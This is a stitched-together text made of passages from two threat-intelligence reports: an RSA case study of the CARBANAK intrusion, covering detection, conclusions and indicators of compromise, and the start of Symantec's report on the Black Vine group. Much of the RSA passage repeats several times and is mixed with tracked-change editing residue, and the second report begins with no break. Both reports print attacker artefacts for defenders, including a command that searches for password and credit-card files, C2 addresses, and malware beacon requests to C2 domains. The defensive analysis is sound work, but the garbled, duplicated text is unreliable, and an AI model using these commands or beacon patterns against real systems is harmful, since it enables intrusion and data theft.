WHITE PAPER 49 Internal Windows Command Processor Commands ASSOC MKLINK (vista and above) BREAK MOVE CALL PATH CD/CHDIR PAUSE CLS POPD COLOR PROMPT COPY PUSHD DATE REM DEL REN/RENAME DIR RD/RMDIR DPATH SET ECHO SETLOCAL ENDLOCAL SHIFT ERASE START EXIT TIME FOR TITLE FTYPE TYPE GOTO VER IF VERIFY KEYS VOL MD/MKDIR Table 25: List of Commands Internal to the Windows Command Processor Throughout this engagement, the primary attacker actions consisted of traversing directories and outputting files, looking for files that may contain additional credentials, database information, internal infrastructure documentation, and financial data such as PCI data.
The majority of the commands utilized consisted of the CD, TYPE, ECHO, DATE and DIR.
As none of these commands call additional binaries, the attackers would reside almost completely within the cmd.exe process for the majority of their host actions.
Four distinct external commands were utilized by the attackers in traversing the host filesystems as part of their internal reconnaissance activities: net.exe, ipconfig.exe, find.exe and qwinsta.exe.
Knowing this, any time cmd.exe called any of these binaries, it was considered suspect activity.
However, two of these commands were specific to the actor activity and were thereby utilized as a high-fidelity indication of attacker activity.
The find.exe command searches a specified file or piped input for a defined string given in the command arguments, much like the grep binary does on Linux and UNIX hosts.
The attackers would use this binary in the following command string dir /b /s 2nul  find /I phrase WHITE PAPER 50 TheShadowsofGhosts CaseStudy:CARBANAK  Page 53 FTYPE TYPE GOTO VER IF VERIFY KEYS VOL MD/MKDIR Table 25: List of Commands Internal to the Windows Command Processor Throughout this engagement, the primary attacker actions consisted of traversing directories and outputting files, looking for files that may contain additional credentials, database information, internal infrastructure documentation, and financial data such as PCI data.
The majority of the commands utilized consisted of the CD, TYPE, ECHO, DATE and DIR.
As none of these commands call additional binaries, the attackers would reside almost completely within the cmd.exe process for the majority of their host actions.
Four distinct external commands were utilized by the attackers in traversing the host filesystems as part of their internal reconnaissance activities: net.exe, ipconfig.exe, find.exe and qwinsta.exe.
Knowing this, any time cmd.exe called any of these binaries, it was considered suspect activity.
However, two of these commands were specific to the actor activity and were thereby utilized as a high-fidelity indication of attacker activity.
The find.exe command searches a specified file or piped input for a defined string given in the command arguments, much like the grep binary does on Linux and UNIX hosts.
The attackers would use this binary in the following command string dir /b /s 2nul  find /I phrase where the phrase would be a string of interest to the attackers, such as PCI, Passwords and Credit Card.
This command would list the filenames of all files in all subdirectories under the present working directory, and then only display the ones with the required string in the filename.
Since the DIR command is part of the Windows Command Processor, but the FIND command is a separate binary, we observe this activity in RSA NetWitness Endpoint via the cmd.exe process calling find.exe with arguments, as illustrated in Figure 50.
Figure 50: cmd.exe Calling find.exe as a Piped Directory Listing Search The qwinsta.exe binary identifies all currently logged-in users via command line session, console session or RDP session, and displays the user logged in and the type of session they are associated with.
The attackers would use this for two primary functions on the majority of hosts they interacted with.
The first would be to check other users logged in to the system as a monitor to determine if their activity was being detected, and also to identify administrative users logged in whose credentials they could harvest from memory.
The second was to identify what systems users were engaging the system with, and what method of access they were Deleted: , Deleted: Deleted: , Deleted: Deleted: Deleted: , Deleted: Deleted: Deleted: Deleted: Deleted: , Deleted: , Deleted: .
Deleted: Comment [A63]: branding Deleted: logged Deleted: , Deleted: Deleted: Deleted: TheShadowsofGhosts CaseStudy:CARBANAK  Page 54 using.
This gave the attackers additional information with which to map the internal systems and networks.
Additionally, the attackers were the only users executing this command anywhere within the environment, as the system administrators did not use this command in any of their administrative functions.
This contextual information allowed RSA IR to utilize these IOCs with significant effectiveness during the course of the engagement.
An example of this activity is shown in Figure 51.
Figure 51: qwinsta.exe Being Called by cmd.exe The GOTROJ RAT used by the attackers in this engagement was primarily utilized by installing it as a Windows Service, starting the service and then deleting the service once the Trojan was executing successfully in memory.
Evidence of this activity, as observed in Application Tracking within RSA NetWitness Endpoint, is shown in Figure 52 and Figure 53.
Figure 52: Installation of GOTROJ RAT Via Windows Service Figure 53: Deletion of GOTROJ Windows Service After Execution Once successfully executed, GOTROJ communicates with 107.181.246.146 over TCP port 443.
When reviewing the host screens Scan Data tab, under the Processes section, we see where the network connection is correlated with the running ctlmon.exe process by clicking on it, as shown in Figure 54.
Deleted: Deleted: Deleted: Deleted: Comment [A64]: This is the first time you reference GOTROJ as a RAT.
It should be referenced early on or not at all (leaving it as understood by the reader) Deleted: , Deleted: Comment [A65]: branding Deleted: where the phrase would be a string of interest to the attackers, such as PCI, Passwords and Credit Card.
This command would list the filenames of all files in all subdirectories under the present working directory, and then only display the ones with the required string in the filename.
Since the DIR command is part of the Windows Command Processor, but the FIND command is a separate binary, we observe this activity in RSA NetWitness Endpoint via the cmd.exe process calling find.exe with arguments, as illustrated in Figure 50.
Figure 50: cmd.exe Calling find.exe as a Piped Directory Listing Search The qwinsta.exe binary identifies all currently logged-in users via command line session, console session or RDP session, and displays the user logged in and the type of session they are associated with.
The attackers would use this for two primary functions on the majority of hosts they interacted with.
The first would be to check other users logged in to the system as a monitor to determine if their activity was being detected, and also to identify administrative users logged in whose credentials they could harvest from memory.
The second was to identify what systems users were engaging the system with, and what method of access they were using.
This gave the attackers additional information with which to map the internal systems and networks.
Additionally, the attackers were the only users executing this command anywhere within the environment, as the system administrators did not use this command in any of their administrative functions.
This contextual information allowed RSA IR to utilize these IOCs with significant effectiveness during the course of the engagement.
An example of this activity is shown in Figure 51.
Figure 51: qwinsta.exe Being Called by cmd.exe The GOTROJ RAT used by the attackers in this engagement was primarily utilized by installing it as a Windows Service, starting the service and then deleting the service once the Trojan was executing successfully in memory.
Evidence of this activity, as observed in Application Tracking within RSA NetWitness Endpoint, is shown in Figure 52 and Figure 53.
WHITE PAPER 51 TheShadowsofGhosts CaseStudy:CARBANAK  Page 54 using.
This gave the attackers additional information with which to map the internal systems and networks.
Additionally, the attackers were the only users executing this command anywhere within the environment, as the system administrators did not use this command in any of their administrative functions.
This contextual information allowed RSA IR to utilize these IOCs with significant effectiveness during the course of the engagement.
An example of this activity is shown in Figure 51.
Figure 51: qwinsta.exe Being Called by cmd.exe The GOTROJ RAT used by the attackers in this engagement was primarily utilized by installing it as a Windows Service, starting the service and then deleting the service once the Trojan was executing successfully in memory.
Evidence of this activity, as observed in Application Tracking within RSA NetWitness Endpoint, is shown in Figure 52 and Figure 53.
Figure 52: Installation of GOTROJ RAT Via Windows Service Figure 53: Deletion of GOTROJ Windows Service After Execution Once successfully executed, GOTROJ communicates with 107.181.246.146 over TCP port 443.
When reviewing the host screens Scan Data tab, under the Processes section, we see where the network connection is correlated with the running ctlmon.exe process by clicking on it, as shown in Figure 54.
Deleted: Deleted: Deleted: Deleted: Comment [A64]: This is the first time you reference GOTROJ as a RAT.
It should be referenced early on or not at all (leaving it as understood by the reader) Deleted: , Deleted: Comment [A65]: branding Deleted: TheShadowsofGhosts CaseStudy:CARBANAK  Page 54 using.
This gave the attackers additional information with which to map the internal systems and networks.
Additionally, the attackers were the only users executing this command anywhere within the environment, as the system administrators did not use this command in any of their administrative functions.
This contextual information allowed RSA IR to utilize these IOCs with significant effectiveness during the course of the engagement.
An example of this activity is shown in Figure 51.
Figure 51: qwinsta.exe Being Called by cmd.exe The GOTROJ RAT used by the attackers in this engagement was primarily utilized by installing it as a Windows Service, starting the service and then deleting the service once the Trojan was executing successfully in memory.
Evidence of this activity, as observed in Application Tracking within RSA NetWitness Endpoint, is shown in Figure 52 and Figure 53.
Figure 52: Installation of GOTROJ RAT Via Windows Service Figure 53: Deletion of GOTROJ Windows Service After Execution Once successfully executed, GOTROJ communicates with 107.181.246.146 over TCP port 443.
When reviewing the host screens Scan Data tab, under the Processes section, we see where the network connection is correlated with the running ctlmon.exe process by clicking on it, as shown in Figure 54.
Deleted: Deleted: Deleted: Deleted: Comment [A64]: This is the first time you reference GOTROJ as a RAT.
It should be referenced early on or not at all (leaving it as understood by the reader) Deleted: , Deleted: Comment [A65]: branding Deleted: TheShadowsofGhosts CaseStudy:CARBANAK  Page 55 Figure 54: GOTROJ Process Executing and Network Connection Information Additionally, the GOTROJ ctlmon.exe binary itself can be triaged via the RSA NetWitness Endpoint module analyzer in order to identify the imported function and DLL information, entropy, PE header information and searchable static strings analysis.
One common initial triage search pattern for identifying possible C2 strings is common web port value strings, such as :443.
The use of this search string to triage the GOTROJ Trojan identifies the C2 IP address and port value in a clear text string at offset 0x3049304, as evidenced in Figure 55.
Figure 55: C2 IP and Port Identification in Cursory Analysis via RSA NetWitness Endpoint Module Analyzer Deleted: Module Deleted: Analyzer Deleted: , Deleted: Deleted: .
Figure 52: Installation of GOTROJ RAT Via Windows Service Figure 53: Deletion of GOTROJ Windows Service After Execution Once successfully executed, GOTROJ communicates with 107.181.246.146 over TCP port 443.
When reviewing the host screens Scan Data tab, under the Processes section, we see where the network connection is correlated with the running ctlmon.exe process by clicking on it, as shown in Figure 54.
Figure 54: GOTROJ Process Executing and Network Connection Information Additionally, the GOTROJ ctlmon.exe binary itself can be triaged via the RSA NetWitness Endpoint module analyzer in order to identify the imported function and DLL information, entropy, PE header information and searchable static strings analysis.
One common initial triage search pattern for identifying possible C2 strings is common web port value strings, such as :443.
The use of this search string to triage the GOTROJ Trojan identifies the C2 IP address and port value in a clear text string at offset 0x3049304, as evidenced in Figure 55.
Figure 55: C2 IP and Port Identification in Cursory Analysis via RSA NetWitness Endpoint Module Analyzer TheShadowsofGhosts CaseStudy:CARBANAK  Page 55 Figure 54: GOTROJ Process Executing and Network Connection Information Additionally, the GOTROJ ctlmon.exe binary itself can be triaged via the RSA NetWitness Endpoint module analyzer in order to identify the imported function and DLL information, entropy, PE header information and searchable static strings analysis.
One common initial triage search pattern for identifying possible C2 strings is common web port value strings, such as :443.
The use of this search string to triage the GOTROJ Trojan identifies the C2 IP address and port value in a clear text string at offset 0x3049304, as evidenced in Figure 55.
Figure 55: C2 IP and Port Identification in Cursory Analysis via RSA NetWitness Endpoint Module Analyzer Deleted: Module Deleted: Analyzer Deleted: , Deleted: Deleted: .
WHITE PAPER 52 5.
CONCLUSION The attackers in this engagement primarily used modified versions of legitimate administrative tools, commonly used penetration testing utilities and common network file acquisition tools.
Though specialty malware was observed during this intrusion, the attackers used basic XOR encoding just above Layer 4 to facilitate communication, communicated via SSH tunnel directly over TCP/443, or just transmitted and received data in clear text across the network.
Of the observed actions during this intrusion, none of the attacker tools, techniques or procedures was particularly advanced.
However, they were still able to bypass a significant security stack, obtain initial access and lateral access effectively, deploy malware and toolsets with impunity, and traverse over 150 systems in the span of six weeks.
While, at first glance, this attack was not sophisticated in its toolset, it was sophisticated in its operationalization and agility of actions taken by the attackers.
Upon reviewing the entirety of tools used in this engagement, operational correlations can be made between the Linux and Windows toolsets, as illustrated in Table 26.
Cross Platform Toolsets and Purpose Linux Windows Function Winexe Tinyp Lateral Movement Auditunnel (Linux Version) Auditunnel (Windows Version) Ingress Tunneling PScan (Linux Version) PScan (Windows Version) Internal Recon WGet (Linux Version) WGet (Windows Version) Toolset Download SCP PSCP File Transfer Table 26: Cross-Platform Toolset Utilization The CARBANAK actors not only showed the capability to successfully compromise both Linux and Windows systems but they chose a toolset that was either directly cross-platform or extremely similar in both function and command line usage.
This indicates a level of tactical organization and operationalization not previously observed by this actor group.
Additionally, they were significantly cognizant and aware of actions taken by the security team, switching to new methods of ingress after initial compromise, detected remediation actions and environmental migration.
They were methodical in their choice of staging systems, basing the system utilized on: a critical function of lateral access (such as systems BRAVO and DELTA) or responder detection and investigation (such as system CHARLIE) They chose key systems based on their needs rather than systems the organization would consider key assets.
They ensured the toolsets they would interact with most often contained very similar functions and commands across environments in order to limit mistakes made at the WHITE PAPER 53 keyboard.
They included a method, whether manually or automatically, to remove records of their activities.
They operated with purpose, patience, planning and, most significantly, persistence.
This intrusion was successfully discovered, investigated, contained, eradicated and remediated only due to the following reasons: 1.
The organization invested in the necessary visibility at a host and network level to allow analysts to rapidly and effectively hunt for and investigate these types of threats.
2.
The organization had invested and empowered their personnel to creatively and proactively hunt for, understand, investigate and learn from threats within their environment.
3.
The organization had maintained a relationship with a proven and trusted advisory practice and had worked to recreate and implement a solid and proven Threat Hunting and Incident Response methodology within their own organization.
4.
The organization had a solid top-down understanding of what role Threat Hunting and Incident Response held during daily operations and security incidents, and provided the necessary support and enablement to subordinate units and analysts.
While a first look at the tools used in this engagement may appear simplistic, upon review of the entire intrusion it becomes quickly apparent that each of them was purpose-chosen with an overall operationalized capability in mind.
CARBANAK has shown themselves to be a coordinated and extremely persistent group of actors that are consistently moving towards more agile methods of intrusion and standardization of processes across heterogeneous environments.
They have proven their capability to use that persistence and agility to defeat or bypass organizational security controls.
Even with the least advanced of their capabilities, they can be a difficult adversary to track within an environment due to their speed, efficiency, adaptability and care in leaving little trace of any activity.
However, this difficulty compounds exponentially for organizations without the necessary visibility, practices, methodologies or trusted partner relationships necessary to effectively detect and respond to these types of threats.
This case study shows that with the necessary visibility, planning, methodology and analyst enablement, organizations can be successful against these types of threats.
Disclaimer: This white paper and related graphics are provided for informational and/or educational purposes.
RSA is not responsible for errors, omissions or for results obtained from the use of this information.
This white paper is being provided as-is, with no guarantee of completeness, timeliness or accuracy, and without warranty of any kind.
This white paper is not intended to be a substitute for legal or other professional advice, and constitutes the opinions of the author(s).
WHITE PAPER 54 6.
INDICATORS OF COMPROMISE 6.1 ATOMIC INDICATORS OF COMPROMISE Host Indicators Network Indicators E3C061FA0450056E30285FD44A74CD2A slpar.org 370D420948672E04BA8EAC10BFE6FC9C centos-repo.org 90D4CC6D4B81B8C462F5AA7166FEE6FB 95.215.46.116 F9766140642C24D422E19E9CF35F2827 185.61.148.145 EB87856732236E1AC7E168FE264F1B43 185.61.148.96 B57DC2BC16DFDB3DE55923AEF9A98401 107.181.246.146 B3135736BCFDAB27F891DBE4009A8C80 192.99.14.211 0F1C4A2A795FB58BD3C5724AF6F1F71A 95.215.47.122 209BC26396E838E4B665FE3D1CCF7787 95.215.61.192 6499863D47B68030F0C5FFAFAFFB1344 5.45.179.173 752D245F1026482A967A763DAE184569 185.86.151.174 8B3A91038ECB2F57DE5BBD29848B6DC4 185.165.29.27 AB8BED25F9FF64A4B07BE5D3BC34F26B 185.117.88.97 7393CB0F409F8F51B7745981AC30B8B6 95.215.44.129 C4D746B8E5E8E12A50A18C9D61E01864 185.165.29.26 BD126A7B59D5D1F97BA89A3E71425731 6499863D47B68030F0C5FFAFAFFB1344 752D245F1026482A967A763DAE184569 1BD7D0C3023C55B5DF0201CC5D7BBCE1 C01FD758ABB423C8336EE1BD5035A6C7 BD126A7B59D5D1F97BA89A3E71425731 771FA63231FB42EE97AA17818A53F432 EDCE844A219C7534E6A1E7C77C3CB020 0810D239169A13FC0E2E53FC72D2E5F0 D66E31794836DFD2C344D0BE435C6D12 E3C061FA0450056E30285FD44A74CD2A A365FD9076AF4D841C84ACCD58287801 9E2E4DF27698615DF92822646DC9E16B 5DDF9683692154986494CA9DD74B588F F9766140642C24D422E19E9CF35F2827 D406E037F034B89C85758AF1A98110BE D825FBD90087D2350E89CBF205A1B71C WHITE PAPER 55 6.2 Behavioral Indicators of Compromise Host Indicators Network Indicators C:\Windows\SysWOW64\zh-TW Directory Usage Outbound SSH over TCP/443 Command Line Arguments Containing -getfiles, -copyfiles, -copyself, -cleanup or http://[0-9] 1,3\.
Outbound HTTP over TCP/443, Direct to IP Address, User-Agent Beginning with wget or go- cmd.exe - qwinsta.exe Outbound SSH where Client Application and Server Application openssh_5.3 or Client Application Server Application WindowsCtlMonitor Windows Service PSEXESVC.EXE, WINEXESVC.EXE in C:\Windows /usr/share/man/mann Directory Usage ssh, sshd, auditd in Non- Standard Directories Linux System Binary Names Not Associated With RPM Package Linux Child Processes with a Parent of systemd Not Associated With RPM Package HKLM\SYSTEM\ControlSet001\ services\PSEXESVC Registry Entries HKLM\SYSTEM\ControlSet001\ services\WINEXESVC Registry Entries Command Line Arguments Ending in cmd Command Line Arguments Containing \\[a-zA-Z0-9]3, WHITE PAPER 56 RSA and the RSA logo, are registered trademarks or trademarks of Dell Technologies in the United States and other countries.
Copyright 2017 Dell Technologies.
All rights reserved.
Published in the USA.
10/17 White Paper H16777.
RSA believes the information in this document is accurate as of its publication date.
The information is subject to change without notice.
7.
DIGITAL APPENDIX Below is a list of the files and folders contained within the RSA_IR_ CARBANAK_Digital_Appendix.
While specifically created for RSA technologies, this Digital Appendix also contains traditional IOCs and descriptive content that can be integrated into third-party technologies, such as OSQuery, Moloch and SOF-ELK.
For RSA NetWitness Suite users, the supplied content is currently available in RSA Live but provided here for custom content creation purposes.
All content should be tested before full integration into RSA NetWitness Endpoint, RSA NetWitness Logs and Packets, or third-party tools to prevent any adverse effects from unknown environmental variables.
RSA_IR_Digital_Appendix.zip File Hash: AD4B3B859FA85957B479D824E19C9957 RSA_IR_Digital_Appendix.zip Contents: NetWitness_Endpoint o tinyp_unique_command_line_arguments.sql o  psexec_winexe_remote_service_creation.sql NetWitness_Packets o RSA_IR_Carbanak_Domain.csv List of Carbanak domains referenced in report o RSA_IR_Carbanak_Domain.xml o  RSA_IR_Carbanak_IP.csv List of Carbanak IPs referenced in report o  RSA_IR_Carbanak_IP.xml o  auditunnel_init.lua AUDITUNNEL traffic pattern identification with comments o  gotroj_beacon_parser.lua GOTROJ traffic pattern identification with comments CARBANAK_Hashset.md5 List of Carbanak file hashes referenced in report
SECURITY RESPONSE Black Vine has been actively conducting cyberespionage campaigns since 2012 and has been targeting several industries, including aerospace, energy, and healthcare.
The Black Vine cyberespionage group Jon DiMaggio Version 1.1  July 28, 2015 The Black Vine cyberespionage group CONTENTS OVERVIEW ..................................................................... 3 Introduction .................................................................. 5 Key findings ................................................................... 5 Targets ........................................................................... 7 Attackers resources ..................................................... 8 Campaigns .................................................................. 11 Energy ................................................................... 11 Aerospace .............................................................. 12 Healthcare ............................................................. 13 Who is behind Black Vine?
..........................................
14 Topsec association ................................................ 14 Zero-day access and distribution .......................... 15 Attribution ............................................................. 16 Conclusion ................................................................... 18 Mitigation .................................................................... 18 AV .......................................................................... 18 IPS ......................................................................... 18 Appendix ..................................................................... 20 Black Vine domains ............................................... 20 Black Vine MD5s .................................................... 20 In early 2014, Anthem was a victim of an attack that exposed 80 million patient records.
The breach, which came to light in February 2015, is believed to be the work of a well- resourced cyberespionage group which Symantec calls Black Vine.
Anthem wasnt Black Vines only target.
Black Vine has been actively conducting its campaigns since 2012 and has been targeting several industries, including aerospace, energy, and healthcare.
The group has access to zero-day exploits distributed through the Elderwood framework and has used these exploits as the same time that other advanced attack groups have, such as Hidden Lynx.
Black Vine typically conducts watering-hole attacks against websites that are relevant to its targets interests and uses zero-day exploits to compromise computers.
If the exploits succeed, then they drop variants of Black Vines custom-developed malware: Hurix and Sakurel (both detected as Trojan.
Sakurel), and Mivast (detected as Backdoor.
Mivast).
These threats open a back door on the compromised computers and allow the attackers to steal valuable information.
Based on our own analysis of the campaigns, along with support from open-source data, Symantec believes that some actors of Black Vine may be associated with an IT security organization based in Beijing called Topsec.
OVERVIEW http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf http://www.symantec.com/connect/blogs/hidden-lynx-professional-hackers-hire http://www.symantec.com/security_response/writeup.jsp?docid2014-022401-3212-99 http://www.symantec.com/security_response/writeup.jsp?docid2015-020623-0740-99 The discovery of the database queries soon led Anthem to realize that it was under attack from an advanced cyberespionage group.
INTRODUCTION Page 5 The Black Vine cyberespionage group Introduction On January 26, 2014, a systems administrator for the major healthcare provider Anthem discovered that their account had been compromised to access sensitive data from an internal database.
Multiple queries had been run from the account, but the system administrator realized that someone else had executed the queries.
The discovery of the database queries soon led Anthem to realize that it was under attack from an advanced cyberespionage group.
This attack is believed to be the largest healthcare data breach to date, resulting in the theft of over 80 million records.
Symantec refers to the group behind the attack as Black Vine.
Details of the breach emerged in early February 2015, when the public learned of the magnitude of the attack against the US second largest healthcare provider.
The breach, conducted by Black Vine, has been one of the most highly publicized and reported attacks so far in 2015.
However, this was only one of several of Black Vines targeted campaigns, which spread across multiple industries.
Since 2012, Black Vine has been conducting targeted attacks against multiple industries, including the energy, aerospace, and healthcare sectors.
The group uses advanced custom-developed malware, zero-day exploits, and other tactics, techniques and procedures (TTPs) typically associated with highly capable, organized attackers.
The purpose of this study is to document all of Black Vines known attacks, beginning in 2012 and continuing to present day.
Connecting multiple Black Vine campaigns over time not only shows the groups previous operations, but also demonstrates how the adversary has evolved.
The intent of this report is to help organizations better understand Black Vine, including its TTPs, motivations, and its use of unique malware, and defend themselves against this threat.
Key findings After researching Black Vines attacks over time, Symantec identified the following key findings: Black Vine is responsible for carrying out cyberespionage campaigns against multiple industries, including energy, aerospace, and healthcare.
Black Vine conducts watering-hole attacks targeting legitimate energy- and aerospace-related websites to compromise the sites visitors with custom malware.
Black Vine appears to have access to the Elderwood framework, which is used to distribute zero-day exploits among threat groups that specialize in cyberespionage.
Black Vine uses custom-developed malware and has resources to frequently update and modify its malware to avoid detection.
The findings documented in this report lead Symantec to believe that Black Vine is an attack group with working relationships with multiple cyberespionage actors.
The group is well funded, organized, and comprises of at least a few members, some of which may have a past or present association with a  China-based IT security organization called Topsec.
http://www.zdnet.com/article/health-insurer-anthem-hit-by-hackers-up-to-80-million-records-exposed/ http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf Black Vine frequently conducts watering-hole attacks, which is when a legitimate website is compromised by an attacker and forced to serve malware to visitors of the website.
TARGETS Page 7 The Black Vine cyberespionage group Targets Over the course of the Black Vine investigation, Symantec identified a number of targeted companies across several verticals.
Analysis of attack data alone is misleading, due to Black Vines attack vectors.
Black Vine frequently conducts watering-hole attacks, which is when a legitimate website is compromised by an attacker and forced to serve malware to visitors of the website.
As a result, an analysis of compromised computers alone does not portray an accurate picture of Black Vines targeting objectives.
Instead, this shows us the industries with the highest infection rates of Black Vines malware.
Based on an analysis of Symantecs telemetry data, the following industries have been affected by Black Vines activity: Aerospace Healthcare Energy (specifically, gas and electric turbine manufacturers) Military and defense Finance Agriculture Technology To further determine Black Vines intended target industries, Symantec assessed the companies who own the affected websites.
Symantec also investigated attacks believed to have been conducted by Black Vine which didnt involve watering-hole attacks.
After assessing multiple attack verticals, Symantec believes that Black Vines primary targeted industries have been aerospace and healthcare.
It is likely that other industries that were affected by these attacks may have been secondary targets.
Black Vines targets are spread across several regions, based on the IP address locations of the compromised computers.
The vast majority of infections affected companies in the US, followed by China, Canada, Italy, Denmark, and India.
Figure 1.
Black Vine victims by region Page 8 The Black Vine cyberespionage group Attackers resources Black Vine appears to have access to a wide variety of resources to let it conduct multiple simultaneous attacks over a sustained period of time.
These resources include the development of custom malware, access to zero-day exploits, and attacker-owned infrastructure.
Funding and resourcing for sustained cyberespionage campaigns against such a breadth targets can only be obtained through large public entities or privately owned organizations.
Our analysis showed three major variants of Black Vines custom malware used in activity that we attribute to the attack group.
The three variants of custom-developed malware are known as Hurix and Sakurel (both detected as Trojan.
Sakurel), and Mivast (Backdoor.
Mivast).
These variants are believed to have been created by the same malware author(s) and use some of the same code and resources.
For example, Hurix and Sakurel have the following similarities: Both Hurix and Sakurel gather the computer name of the target and encrypt data using the same algorithm.
This algorithm uses division and addition with static variables 1Ah and 61h.
The location of the algorithm in each threat is as follows: o Hurix: 402A75h o Sakurel: 1000147Bh Similar data and parameters exist in the network communication parameters: o Both variants use the parameter type which is initialized with zero value.
o Both variants use a parameter that contains the same data, as seen below: Hurix: cookieiztkctcebtgbbyf-2135928347 (where cookie is the parameter, iztkctcebtgbbyf is the encrypted computer name, and -2135928347 is the decimal equivalent of the hard disk serial number) Sakurel: imageidiztkctcebtgbbyf-2135928347 (where imageid is the parameter, iztkctcebtgbbyf is the encrypted computer name, and -2135928347 is the decimal equivalent of the hard disk serial number) All three variants of Black Vines malware have the following capabilities: Open a pipe back door Execute files and commands Delete, modify, and create registry keys Gather and transmit information about the infected computer The following unique traits were identified in the URL patterns seen in network communication requests between the malware and command-and-control (CC) infrastructure from each variant: photoid resid imageid vid For example: www.polarroute.com/newimage.asp/imageidoonftwwtwwtzx1755999261type0resid139890 www.polarroute.com/viewphoto.asp/resid126546photoidoonftwwtwwtzx1755999261 In most cases, the malware is made to look like a technology-related application.
Some of the themes used to disguise the malware include Media Center, VPN, and Citrix applications.
The CC server or malware-hosting domain is also themed similarly to the malwares disguise.
For example, in one instance, a Sakurel sample was named MediaCenter.exe (MD5:1240fbbabd76110a8fCC9803e0c3ccfb).
The CC domain that the malware communicated with used a Citrix theme: citrix.vipreclod.com http://www.symantec.com/security_response/writeup.jsp?docid2014-022401-3212-99 http://www.symantec.com/security_response/writeup.jsp?docid2015-020623-0740-99 Page 9 The Black Vine cyberespionage group Additionally, most of the analyzed malware samples have been digitally signed by Korean software company DTOPTOOLZ Co or embedded software product developer MICRO DIGITAL INC.
Symantec has observed that the DTOPTOOLZ Co certificate has been used to sign a malicious binary in adware and malvertising campaigns which are unrelated to Black Vine activity.
Both of the digital certificates previously used to sign Black Vines malware have either expired or been revoked.
The details on both of the certificates are as shown in Figures 2 and 3.
Figure 2.
DTOPTOOLZ CO digital certificate details Figure 3.
MICRO DIGITAL INC.
digital certificate details In all of the investigated Black Vine campaigns, the primary objective has been to gain access to their targets infrastructure and steal information.
CAMPAIGNS Page 11 The Black Vine cyberespionage group Campaigns The earliest known attack that Symantec attributes to Black Vine began in 2012.
Since then, Symantec has observed Black Vine conducting multiple targeted campaigns.
In all of the investigated Black Vine campaigns, the primary objective has been to gain access to their targets infrastructure and steal information.
Energy In late December 2012, security researcher Eric Romang published a blog, reporting that gas turbine manufacturer Capstone Turbine became a victim of a watering-hole attack.
Symantecs investigation confirmed Romangs findings that during the attack, Capstone Turbines legitimate domain, capstoneturbine.com, was serving an exploit for a zero-day bug known as the Microsoft Internet Explorer CDwnBindInfo Use-After-Free Remote Code Execution Vulnerability (CVE-2012-4792).
Users who browsed Capstones website using vulnerable versions of Internet Explorer at the time were ultimately compromised with the Sakurel payload.
Sakurel provided Black Vine with access to the compromised computers and their information.
As previously mentioned, the Sakurel sample seen in this attack was digitally signed by MICRO DIGITAL INC.
Details about the Sakurel malware samples associated with the attack are as follows: MD5 hash: 61fe6f4cb2c54511f0804b1417ab3bd2 CC domain: web.viprclod.com Vulnerability: CVE-2012-4792 Compile time: December 8, 2012 07:54:44 Additionally, the CC domain used in the attack, webvipr.clod.com, may be a typo-squat domain designed to pose as the legitimate domain VipeCloud.com.
The legitimate website belongs to VipeCloud, which provides sales and marketing automation as a service.
This could be a coincidence or re-used infrastructure from other unknown attacks.
However, the domain was registered on December 10, 2012, just two days after the Sakurel samples that were used in energy-related attacks were compiled.
Regardless, the CC server theme is not constant with themes we would expect to see with energy-related targets.
The following information was used to register the attackers CC domain viprclod.com on December 10, 2012: Domain name: VIPRECLOD.COM Created on: 10-Dec-12 Expires on: 10-Dec-13 Last Updated on: 10-Dec-12 Administrative contact: o moon, today  todaymoon321gmail.com o xingfudadao o sitemo, ai no 236963 o Tanzania Capstone Turbine is a US-based gas turbine manufacturer which specializes in micro turbine power along with heating and cooling cogeneration systems.
Capstone Turbines intellectual property in the research and development of energy and power technologies is likely what made it a target for cyberespionage.
On December 24, 2012, Black Vine targeted a second turbine power and technology manufacturer.
While the details of this attack cannot be publicly disclosed, Sakurel was also used in this attack.
Considering how Back Vine conducted multiple waves of zero-day attacks and targeted turbine manufacturers, its likely that the attack groups primary targeted industries at the time were involved in energy-related technologies.
http://eromang.zataz.com/2013/01/02/capstone-turbine-corporation-also-targeted-in-the-cfr-watering-hole-attack-and-more http://www.securityfocus.com/bid/57070 http://www.securityfocus.com/bid/57070 Page 12 The Black Vine cyberespionage group Aerospace In mid-2013, a third-party blog documented how a Citrix-themed lure was used in targeted attacks against a global airline to deliver the Hurix malware.
According to the blog, the malware was delivered through spear- phishing emails sent to specific employees at the airline.
The emails included a URL that directed the user to download Hurix to their computer.
Unfortunately, Symantec did not have access to the data needed to validate the claims made in the blog.
We are including a high-level summarization of the attack for documentation purposes.
In February 2014, Black Vine compromised the website of a European aerospace company.
The attackers gained access to the organizations domain and leveraged its home page to compromise the websites visitors.
The watering-hole attack was likely conducted to target more people in the aerospace industry.
Similar to the attacks against energy-related targets in 2012, the attackers exploited a new zero-day bug known as the Microsoft Internet Explorer Use-After-Free Remote Code Execution Vulnerability (CVE-2014-0322).
The payload of the attack was an updated version of Sakurel.
Details on the Sakurel sample identified in the attack are as follows: MD5 hash: c869c75ed1998294af3c676bdbd56851 CC domain: oa.ameteksen.com Vulnerability: CVE-2014-0322 Compile time: July 16, 2013 03:44:36 Once the victim was infected, Sakurel made the following network call to the CC domain oa.ameteksen.com: GET /script.asp?resid93324828nmsgdelphotoidiztkctcebtgbbyf-2135928347 HTTP/1.1 The CC domain ameteksen.com was registered with the following details: Domain name: AMETEKSEN.COM Registrar URL: http://www.godaddy.com Updated date: 2013-10-15 05:15:20 Creation date: 2013-10-15 05:06:32 Registrar expiration date: 2014-10-15 05:06:32 Registrar: GoDaddy.com, LLC Registrant country: China Name: ghregjr ngrjekg Street: kwjfhrjkgh City: rjekteyu State/Province: Postal code: 37182 Country: China Phone: 86.3781263856 Email: dobbin.pachecoaol.com Black Vine likely created the domain ameteksen.com to disguise it as the legitimate ameteksensors.com or ametek.com, owned by aerospace and defense contractor Ametek.
During our investigation of Black Vines aerospace-related attacks, Symantec discovered that the group used an unusual tactic.
After the Sakurel payload was initially run on the victims computer, the malware made changes to the victims host file.
The host file is normally used by the Windows operating system as a mechanism to statically map a domain to an IP address, rather than using a network-based domain name system (DNS) lookup.
Oddly, Black Vines modifications to the host file added static entries resolving the legitimate domains to their legitimate IP addresses.
Altering a host file to map a domain to its legitimate IP address is unusual, because the default DNS requests would provide the same mapping.
This type of tactic would usually be seen in instances where an attacker wanted to redirect a legitimate domain to their own malicious infrastructure in order to steal credentials or infect the target with additional malware.
